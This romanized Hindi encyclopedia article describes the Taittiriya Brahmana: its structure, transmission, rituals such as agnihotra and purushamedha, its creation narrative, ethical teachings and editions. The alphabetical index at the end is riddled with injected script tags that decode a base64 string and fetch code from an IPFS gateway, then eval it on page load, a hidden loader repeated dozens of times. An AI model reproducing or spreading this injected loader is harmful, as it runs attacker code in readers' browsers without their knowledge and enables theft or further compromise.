तैत्तिरीय ब्राह्मण

taittiriy brahman krishna yajurvediy shakha se sambandhit hai. isamean sarvadhik mahattvapoorn akhyan maharshi bharadvaj se sanbandhit hai. taittiriy brahman ke anusar manushy ka acharan devoan ke saman hona chahie. is granth mean man ko hi sarvachch prajapati bataya gaya hai. krishna-yajurvediy shakha mean ekamatr yahi brahman adyavadhi sampoorn roop mean upalabdh hai. ‘kathak-brahman’ ke keval kuchh aansh hi prapt haian. shatapath-brahman ke sadrish isaka path bhi sasvar hai. yah isaki prachinata ka dyotak hai.

taittiriy-brahman ka vibhag

sampoorn granth tin kandoan athava ashtakoan mean vibhakt hai.

pratham do kandoan mean ath-ath adhyay athava prapathak haian.
tritiy kand mean 12 adhyay (ya prapathak) hai.

bhattabhaskar ne apane bhashy mean inhean ‘prashn’ bhi kaha hai. ek avantar vibhajan anuvakoan ka bhi hai, jinaki sankhya 353 hai.

pravakta aur prasar kshetr

paramapara se taittiriy-brahman ke pravakta ke roop mean vaishampayan ke shishy tittiri ki prasiddhi hai. nam se bhi yahi prakat hota hai. isake antargat sammilit kathak-bhag^[1] ke pravachan ka shrey bhattabhaskar ke anusar kathak ko hai. parampara ke anusar andhr pradesh, narmada ki dakshin tatha agneyi disha evan godavari ke tatavarti pradeshoan mean taittiriy-shakha ka prachalan raha hai. barnel ne is dakshin bharatiy janashruti ko uddhrit kiya hai, jisake anusar dakshin ki palatoo billiyaan bhi taittiriy-shakha se parichit hoti hai. suprasiddh bhashyakar sayanachary ki apani yahi shakha thi, isalie brahman-granthoan mean, sarvapratham unhoanne isi par apana bhashy racha.

taittiriy-brahman ka pratipady

taittiriy-brahman yajurvediy hone ke karan adhvaryukartrik yag-krityoan ka vistar se prastavak hai. sayan ke anusar yajn ke sharir ki nirmit adhvaryu aur usaki anugat rritvinh-mandali ke dvara vastut: yajush mantroan aur prakriyaoan se hi ki jati hai, atev taittiriy-brahmanagat yagamimaansa atyant vyapak hai. sankshep mean, taittiriy-brahman ke kuchh kand is prakar hai-

pratham kand mean agnyadhan, gavamayan, vajapey, nakshatreshti tatha rajasooy yagoan ka varnan hai.
dvitiy kand mean agnihotr, upahom, sautramani tatha brihaspati sab prabhriti vividh sarvoan ka niroopan hai.
tritiy kand mean nakshatreshtiyoan tatha purushamedh se sambaddh vivaran mukhyat: aya hai.

any brahmanoan mean jahaan somayagoan ka hi varchasv hai, vahian taittiriy-brahman mean ishtiyoan aur pashuyagoan ki bhi vishad vivechana milati hai. nakshatreshtiyaan, nakshatroan se sambaddh hom tatha nachiket aur savitr-chayan bhi krishnayajurvediy brahman ki vishisht upalabdhi hai. taittiriy-sanhita mean aye 'ishe tvorjje tva' prabhriti darshapoornamas se sambaddh mantroan ke anuvartan mean, taittiriy-brahman mean pahale pahale paurodashik kand hona chahie, kintu agnyadhan ke bina darshapoornamas ka anushthan sambhav nahian hai, is karan pahale usi ki vidhi batalaee gee hai. agnyadhan-kal ki mimaansa karate hue nakshatr aur rritunirnay ke anantar devayajan ki saj-sajja ka vidhan hai. krishnayajurvediy yaganushthata garhapatyagni ka adhan ratri mean aur soory ke adhe udit hone par ahavaniyagni ka adhan karate haian-
naktan garhapatyamadadhati. ardhodite soory ahavaniyamadadhati.
pratham kand^[2] mean brahyodan ki vidhi batalaee gee hai. yah vastut: vah odan hai, jise brahm-hom tatha rritvigbhojanarth pakaya gaya ho. isi kand ke dvitiy prapathak se gavamayan-yag ka varnan arambh hota hai, kyoanki brahmanakar ke anusar isamean sabhi somayagoan ka antarbhav ho jata hai.^[3]
dvitiy kand^[4] mean agnihotr ka vishad niroopan ek akhyayika ke madhyam se kiya gaya hai. use agni ka bhag batalaya gaya hai-
s etadbhagadheyamabhyajayat yadagnihotramh^[5]
taittiriy-brahman mean uditahom ka vidhan hai- udite soorye pratarjuhoti^[6] ghar mean rahane vale do punyatmaoan mean se donoan ki jaise pooja ki jati hai, usi prakar sayankal agni aur soory ke lie sansrisht hom kiya jata hai. agnihotr ko devoan ne ghar ki nishkriti ke roop mean dekha tha.^[7] us samay grihagat atithiyoan ko ann-pariveshan se tript karana chahie-
sayan yavanashch vai deva: prataryavanashchagnihotrino grihamagachchhanti, tanyatren tarpayeth^[8]

pratham kand ke 5vean prapathak mean ek sundar upama ke madhyam se aparahn kal ko yaganushthan-hetu shubh batalaya gaya hai, kyoanki vah kumariyoan ke shruangar ka samay hota hai-'aparahne kumaryo bhagamichchhamanashcharanti'^[9] isi prapathak ke chaturth anuvak mean yagiy patroan ka vivaran dete hue kashthamay patroan ka vishesharoop se ullekh hai.^[10] gavamayan satr ka pratham niroopan isalie hai ki isamean vibhinn ekahoan aur ahinayagoan mean anushthey krityoan ki hi paun:punyen avriti hoti hai, atev usake niroopan se sabhi ka niroopan svat: ho jata hai. vajapey-niroopan ke prasang mean aji-dhavan ityadi ke vishay mean prapt akhyayika aur vidhi-vidhan ke atirikt kuchh arthavadatmak kathan bahut sundar haian. atigrahoan ke antargat som aur sura bhi vihit haian jo kramash: purush aur stri roop batalaye gaye haian. dundubhi-vadan ko parama vakh batalate hue use vagdevi ka nadatmak sharir kaha gaya haian-'parama va esha vakh ya dundubhi'^[11]

shrautayagoan mean purushamedh ne vaidik vidvanoan ka sarvadhik dhyan akrisht kiya hai. usake tattvikh anushilan ki pushkal samagri is brahman mean hai. is ahin somayag ka niroopan tritiy kand ke chaturth prapathak mean hua hai. isamean paanch din lagate haian. nam-shravan se pratit hota hai ki ashvamedh mean jaise ashv ka sanjnapan, vishasan aur usake aangoan se hom hota hai, tadvath yahaan bhi purush ke sanjnapanadi krity hone chahie. kintu vastav mean aisa nahian hota hai. ullikhit vishisht purushoan ka vidhivath vibhinn devoan ke sammukh upakaran karake unaka utsarjan (jivit roop mean hi parityag) ho jata hai, n to unaka sanjnapan hota hai, n vishasan aur n hi agni mean prakshepatmak hom hi hota hai. is sandarbh mean 198 prakar ke purushoan ka ullekh hai, jinaka upakaran aur utsarjan hota hai. sanjnapan aur vishasanadi ajadi pashuoan ke hi vihit haian. purushoan ka narayan ke roop mean dhyan bhar kiya jata hai. dhyan ke samay purushasookt ke mantr pathaniy haian. 198 prakar ke purushoan ke ullekh se us yug ke vibhinn vyavasayoan par achchha prakash p data hai. is yajn ka anushthata apana sarvasv-dan dekar tatha rag-dvesharahit hokar van ko chala jata hai.

ashvamedh ke prasang mean bhi anyatr rajaraniyoan aur rritvijoan ke madhy ashlil-sanbhashan ke jo krity vihit haian, ve taittiriy-brahman mean nahian haian. 'sav' sanjnak ekah-yagoan ka vishad vidhan bhi is brahman ki ek visheshata hai. ye 12 haian-

brihaspatisav,
vaishyasav,
brahmanasav,
somasav,
prithisav,
gosav,
odanasav,
marutstom (panchasharadiy),
agnishtuth,
indrastut,
aptoryam aur
vighan.

sayan ka kathan hai ki 'sav' eeshvar (svami) ki tarah abhishikt hone ka vachak hai. 'brihaspatisav' mean niyojy hota ka vaishishty hai usaka khalvat (paristraji) hona aur bar-bar aankhoan ka unmilan aur nimilan karana. 'dashahotr' sanjnak homoan ka vidhan bhi taittiriy-brahman ka vaishishty hai. dvitiy kand ke chaturth prapathak mean katipay upahom bhi vihit haian, jo shraut ke sath hi smart krity bhi haian. isi kand ke shashth prapathak mean kaukili-sautramani ka vidhan bhi ullikhit hai. yah pashuyag hai, jisamean paanch pashu vihit haian- inhian ki 'sautramani' akhya hai. is yag mean taukm (vrihi), masar (bhune hue yav ka dadhimishrit mahin choorn), nagn (matthamishrit yav ka mota choorn) ke sath sura ke sansarjan ki vidhi bhi isamean vihit hai. nakshatreshtiyoan ke sandarbh mean devataoan ke roop mean taittiriy-brahman mean amba, dula, nitatni, shrayanti, meghayanti varshayanti aur chupunika ke nam aye hai.

tritiy kand ke dasham prapathak mean savitr-chayan ka niroopan hai. eeantoan se banaya gaya sthan vishesh hi 'chayan' hai. yag ki jatil prakriyaoan ke madhy mean bhi sahityik saushthav ki drishti se yahaan dhyan rakha gaya hai. isi kand ke 11vean prapathak mean nachiketagni-chayan ki prakriya niroopit hai. isi sthal par nachiketa ka suprasiddh akhyan aya hai. taittiriy-brahman mean yagoan ka niroopan bahut viprakirn shaili men hua hai, jo isaki prachinata ka upalakshak hai. yag-mimaansa ka phalak atyant vishad aur sarvang sampann hai. adhvaryav ke sath hi hautr aur audagatr paksh bhi niroopit hai. is brahman mean yah drishtikon upapadit hai ki yajn hi manushy ka sarvasv hai-
yajno rayo yajn eeshe vasoonamh. yajn: sasyanamut sukshitinamh^[12]
isalie yah prarthana ki gee hai ki yajn nirantar badhata rahe. yag ki vedi putr-pautroan ke madhyam se nirantar phoolati-phalati rahe-
ayan yajno vardhataan gobhirashvai:. iyan vedi: svapatya suvira^[13]

akhyan

taittiriy-brahman ka sarvadhik prasiddh akhyan maharshi bharadvaj se sambaddh hai, jo tritiy kand ke 10vean prapathak mean aya hai. isamean vedoan ke ananty ananta vai veda:^[14] ka pratipadan hai. param tattv ke vivechan ki akhyayika^[15] is brahman ko upanishadoan ke jnan-gaurav se vibhooshit karati hai. isake kuchh aansh is prakar haian- arun ke putr atyanh ke kisi brahmachari se dayyapati plaksh ne poochha-
'savitragni kisamean pratishthit hai'?
-'rajogun se pare.
usase pare kya hai?'
-'rajogun se pare drishyaman mandalatma hai'.
'yah agni kisamean pratishthit hai?'
-'saty mean'.
nachiketa ke akhyan ke sath hi prahlad aur agasty vishayak akhyayikaean bhi ullikhit haian. sita-savitri ki pranayakhyayika, ushash ke dvara priy ki prapti ke akhyan isaki rochakata mean abhivriddhi karate haian. srishti, yajn aur nakshatr-vishayak akhyan to pushkal pariman mean haian. devavishayak akhyanoan se devashastr ke vikas par achchha prakash p data hai.

srishti prakriya-srishti

prakriya ki drishti se taittiriy-brahman ke dvitiy kand (prapathak 2) mean sarvadhik samagri hai. rrigvediy-nasadiyasookt ka vishesh prabhav parilakshit hota hai. srishti se pahale kisi bhi vastu ki satta nahian mani gee hai. anabhivyakt namaroop (asath) ne hi yah ichchha ki ki maian sataroop mean ho jauan-
tadasadev sanmanoakurut syamiti.
usane tap kiya, jisase dhoom, agni, jyoti, archi, marichi, udar aur abhr ki kramash: srishti huee. strashta ki basti (mootrashay) ke bhedan se samudr utpann hua- isi karan samudr ka jal aj bhi apey samajha jata hai. tadanantar sab kuchh jalamay ho gaya. is par prajapati ko rulaee a gee ki jab maian kuchh bhi nahian kar sakata, kuchh bhi nahian rach sakata to meri utpatti hi kyoan huee? prajapati ke isi ashrujal ke samudr mean girane se prithvi bani. kalantar se antariksh aur dyulok bane. prajapati ke jaghanabhag se asuroan ki srishti huee. pun: prajapati ne tapasya ki, jisase manushyoan, devoan aur rrituoan ki srishti huee. is prakriya mean man ka yogadan sarvadhik raha-
asatoadhi manoasrijyat. man: prajapati: praja: asrijat.^[16]
sankalpit arth vala yah man hi shvovasy namak brahm hai-
yadidan kian tadetachchhvovasyan nam brahm.^[17]
srishti ki suraksha prakritik niyamoan ki sanraksha par nirbhar hai. inhean 'rrit' kaha gaya hai, jisaka atikraman koee bhi vastu nahian kar sakati. bhoomi aur samudr sabhi us par hi avalambit hai-
rritamev parameshthi. rritan natyeti kinchanh. rrite samudr ahit:. rrite bhoomiriyan shrita.^[18]

achar-darshan

taittiriy-brahman ke anusar manushy ka acharan devoan ke saman hona chahie-'iti deva akurvath. ityu vai manushya: kurvate.'^[19] saty-bhashan, vani ki mithas, tapomay jivan, atithi-satkar, sangathanashilata, sampatti ke paropakar-hetu viniyog, maans-bhakshan se door rahane tatha brahmachary ke palan par vishesh bal diya gaya hai. inake anushthan mean pramad ya aparadh karane par nishkapat bhav se prayashchitt ka vidhan hai. ahitagni vyakti ko kadapi asaty nahian bolana chahie, kyoanki tejomayata saty mean hi hai-'ahitagni: n anritan vadeth.' ugr vani bhookh aur pyas ki hetu hone ke karan mahapatak ke sadrish hai-'ashanayapipase h va ugran vach:.'^[20] rrit aur saty ek hai-'tadritan tatsatyamh'^[21] tatha 'rritan satyeadhayi satyamriteadhayi'.^[22] saty vah hai, jo netroan se dekhakar bola jaye, kyoanki vani jhooth bol jati hai aur man mithya ka dhyan karane lag jata hai. isalie chakshu hi vishvasaniy hai. vyakti ko nirantar asaty se saty ki or badhane ka prayatn karana chahie, kyoanki vah manushyatv se devatv ki or agrasar hone ka dyotak hai-
anritath satyamupaimi. manushaddaivyamupaimi. daivi vachan yachchhami^[23]
tapomay jivan taittiriy-brahman mean pratipadit doosara mahaniy jivanamooly hai. tapasya se devoan ne uchch sthiti prapt ki, rrishiyoan ne svargik sukh paya aur apane shatruoan ka vinash kiya-
tapasa deva devatamagr ayanh. tapasarshay: svaranvavindanh. tapasa sapatnanh pranudamarati:^[24]
shraddha bhi vishisht jivan-mooly ke roop mean ullikhit hai. lok ki pratishtha shraddha se hi hai. amrit ka dohan karati huee shraddha kamana ki bachheri hai. vah sansar ki palika hai-
shraddhaya devo devatvamashnute. kamavatasamrit duhana. shraddha devi prathamaja rritasyh. vishvasy bhartri jagat: pratishtha. taan shraddhaan havisha yajamahe^[25]
taittiriy-brahman ke anusar ahitagni vyakti ko n to maansabhakshan karana chahie aur n stri-gaman hi karana chahie.^[26] jis sampatti se yajnadi paropakar aur sarvajanin krityoan ka anushthan hota rahata hai, dan-puny hote rahate haian, usaka kadapi vinash nahian hota. n to use shatru le jate haian aur n shatru kshati pahuanchate haian-
n ta nashanti n dabhati taskar:. naina amitro vyathiradadharshati. devashch yabhiryajate dadati ch^[27]
sabake prati maitri-bhav par bhi taittiriy-brahman mean bal diya gaya hai. sat pagoan ki bhi yatra jinake sath huee ho, ve sabhi mitr haian. unake prati sakhyabhav ki kabhi kshati nahian pahuanchane deni chahie-
sakhay: saptapada abhoomh. sakhyan te gameyamh. sakhyatte ma yoshamh. sakhyanme ma yoshtha:^[28]
taittiriy-brahman ke anusar manushy ka man hi sarvochch prajapati hai. sabhi kriyaean usi se sampann hoti haian, atev man ki shuddhi param avashyak hai-'man iv hi prajapati:'^[29] tatha 'yen pootastarati dushkritani'^[30] man ki shuddhi ke sandarbh mean bahuvidh kamanaoan ka parityag bhi avashyak hai, kyoanki ve samudr ke saman apar hai-'samudr iv hi kam:. naiv hi kamasyantoasti' is prakar taittiriy-brahman mean manushy ke chaturdikh abhyutthan aur udatt-drishti se jivan-path par arohan ke nimitt atyant prashast achar-darshan ki prastuti dikhalaee deti hai.

sanskaran

ab tah isake tin sanskaran sampadit hue haian- jin ka paun:punyen mudran hota rahata hai. prathamat: mudrit sanskaran ye haian-

rajendralal mitr ke dvara sayan-bhashy sahit sampadit tatha kalakattta se 1862 mean prakashit,
sayan-bhashy sahit, anandashram, pune se 1934 mean prakashit,
bhattabhaskar-bhashy sahit, mahadevashastri dvara sampadit tatha maisoor se prakashith. antim donoan sanskaranoan ka pun: mudran ho chuka hai.

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

tika tippani aur sandarbh

↑ 3.10-12
↑ prapathak 1, anuvakanukramani 6
↑ brahmanakar 2.3.6.4
↑ prapathak 1
↑ taittiriy-brahman 2.1.2.5-6
↑ taittiriy-brahman 2.1.6
↑ taittiriy-brahman 2.1.5.10
↑ taittiriy-brahman 1.5.3.3
↑ taittiriy-brahman 1.5.4.1
↑ taittiriy-brahman 1.3.6.2
↑ taittiriy-brahman 1.3.6.2
↑ taittiriy-brahman 2.5.5.1
↑ taittiriy-brahman 2.5.5.1
↑ taittiriy-brahman 3.10.11.3
↑ taittiriy-brahman 3.10.9
↑ taittiriy-brahman 2.2.9.10
↑ taittiriy-brahman 2.2.9.10
↑ taittiriy-brahman 1.5.5.1
↑ taittiriy-brahman 1.5.9.4
↑ taittiriy-brahman 1.5.9.5
↑ taittiriy-brahman 11.5.5.4
↑ taittiriy-brahman 3.7.7.4
↑ taittiriy-brahman 1.2.1
↑ taittiriy-brahman 3.12.3.1
↑ taittiriy-brahman 3.12.3.2
↑ taittiriy-brahman 2.4.6.8
↑ taittiriy-brahman 3.7.7.11
↑ taittiriy-brahman 3.7.7.11
↑ taittiriy-brahman 2.2.6.2
↑ taittiriy-brahman 3.12.3.4

sanbandhit lekh

shrutiyaan

varnamala kramanusar lekh khoj

a <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>a <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> i <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> ee <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> u <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> oo <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> e <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> ai <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> o <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>au <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> aan <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> k <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>kh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> g <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> gh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> n <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> ch <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> chh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> j <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> jh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> n <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> t <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> th <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> d <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> dh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> n <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> t <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> th <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> d <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> dh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> n <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> p <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> ph <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> b <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> bh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> m <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> y 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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> tr <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> jn 